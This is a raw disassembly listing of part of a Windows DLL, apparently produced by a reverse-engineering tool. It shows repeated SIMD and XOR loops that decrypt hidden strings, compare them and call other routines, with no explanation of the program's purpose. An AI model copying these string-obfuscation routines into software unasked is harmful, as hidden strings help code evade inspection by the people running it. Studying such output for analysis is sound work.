shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800aacd0
cmp r8d, 0x12
jge 0x1800aae14
movsxd rax, r8d
lea r9, [rbp + 0x21d8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800aade0
lea rdx, [rbp + 0x8d8]
lea rcx, [rbp + 0x21d8]
call fcn.180002c70
test al, al
je 0x1800aae6e
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x2a10], xmm0
mov r8, r13
movdqu xmmword [rbp + 0x2a20], xmm1
inc r8
cmp byte [rdi + r8], r14b
jne 0x1800aae43
mov rdx, rdi
lea rcx, [rbp + 0x2a10]
call fcn.180001450
lea rdx, [0x18020c530]
lea rcx, [rbp + 0x2a10]
call fcn.1800d60b0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x8e0]
call fcn.180016840
cmp byte [0x1801c47b3], r14b
movups xmm1, xmmword [str.uE_XN]
movss xmm0, dword [rax]
mov eax, dword [0x1801c47b0]
movss dword [rbp + 0x8f8], xmm0
mov dword [rbp + 0x2470], eax
mov dword [rbp + 0x8fc], 0x42200000
movups xmmword [rbp + 0x2460], xmm1
je 0x1800ab034
mov r8d, r14d
cmp r12d, 2
jl 0x1800aafeb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2464]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800aaef0
cmp r8d, 0x14
jge 0x1800ab034
movsxd rax, r8d
lea r9, [rbp + 0x2460]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1800ab000
lea rdx, [rbp + 0x8f8]
lea rcx, [rbp + 0x2460]
call fcn.180002c70
test al, al
je 0x1800ab086
lea rdx, [0x180248f30]
lea rcx, [rbp + 0x2a30]
call fcn.180063490
lea rdx, [0x180248f10]
mov rbx, rax
lea rcx, [rbp + 0x2a50]
call fcn.180063490
mov r8, rbx
lea rcx, [0x18020c530]
mov rdx, rax
call fcn.18007c410
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
movss xmm0, dword [0x1801ad7c4]
call fcn.180008a70
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x900]
call fcn.180016840
mov r8d, r14d
movups xmm1, xmmword [str.dRK_HT]
movss xmm0, dword [rax]
mov eax, dword [0x1801c47c8]
mov dword [rbp + 0x2560], eax
movzx eax, byte [0x1801c47cc]
mov byte [rbp + 0x2564], al
movss dword [rbp + 0x930], xmm0
mov dword [rbp + 0x934], 0x42200000
movups xmmword [rbp + 0x2550], xmm1
cmp r12d, 2
jl 0x1800ab21b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2554]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800ab120
cmp r8d, 0x15
jge 0x1800ab264
movsxd rax, r8d
lea r9, [rbp + 0x2550]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800ab230
lea rdx, [rbp + 0x930]
lea rcx, [rbp + 0x2550]
call fcn.180002c70
test al, al
je 0x1800ab2b6
lea rdx, [0x180248f30]
lea rcx, [rbp + 0x2a70]
call fcn.180063490
lea rdx, [0x180248f10]
mov rbx, rax
lea rcx, [rbp + 0x2a90]
call fcn.180063490
lea r8, [0x18024daf0]
mov rdx, rbx
mov rcx, rax
call fcn.1800b2620
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x938]
call fcn.180016840
cmp byte [0x1801c47e3], r14b
movups xmm1, xmmword [str.rRTN]
movss xmm0, dword [rax]
mov eax, dword [0x1801c47e0]
movss dword [rbp + 0xaf8], xmm0
mov dword [rbp + 0x23e0], eax
mov dword [rbp + 0xafc], 0x42200000
movups xmmword [rbp + 0x23d0], xmm1
je 0x1800ab474
cmp r12d, 2
jl 0x1800ab42d
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x23d4]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r14d
lea eax, [r14 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r14d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
mov eax, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r14d, 0x10
jl 0x1800ab330
cmp eax, 0x14
jge 0x1800ab474
movsxd rax, r14d
lea r8, [rbp + 0x23d0]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
inc r14d
sub al, cl
add al, 0x36
xor byte [r8 - 1], al
cmp r14d, 0x14
jl 0x1800ab440
lea rdx, [rbp + 0xaf8]
lea rcx, [rbp + 0x23d0]
call fcn.180002c70
test al, al
je 0x1800ab4fe
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x2ab0], xmm0
movdqu xmmword [rbp + 0x2ac0], xmm1
inc r13
cmp byte [rdi + r13], 0
jne 0x1800ab4a0
mov r8, r13
lea rcx, [rbp + 0x2ab0]
mov rdx, rdi
call fcn.180001450
lea rdx, [0x180248f30]
lea rcx, [rbp + 0x2ad0]
call fcn.180063490
lea rdx, [0x180248f10]
mov rbx, rax
lea rcx, [rbp + 0x2af0]
call fcn.180063490
lea r9, [0x18024daf0]
mov rdx, rbx
lea r8, [rbp + 0x2ab0]
mov rcx, rax
call fcn.180082110
call fcn.180006c20
call fcn.180013d50
call fcn.180013820
mov r15, qword [rsp + 0x9380]
mov rcx, qword [rbp + 0x91a8]
xor rcx, rsp
call fcn.1801a9230
lea r11, [rsp + 0x9350]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
lea rcx, [0x18024de10]
call fcn.1801a9124
cmp dword [0x18024de10], 0xffffffff
jne 0x1800aa558
lea rcx, [0x1801aacf0]
call fcn.1801a90a0
lea rcx, [0x18024de10]
call fcn.1801a90b8
jmp 0x1800aa558
call fcn.18000ab30
int3
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 6
mov dword [rbp + 0x1dc8], r14d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3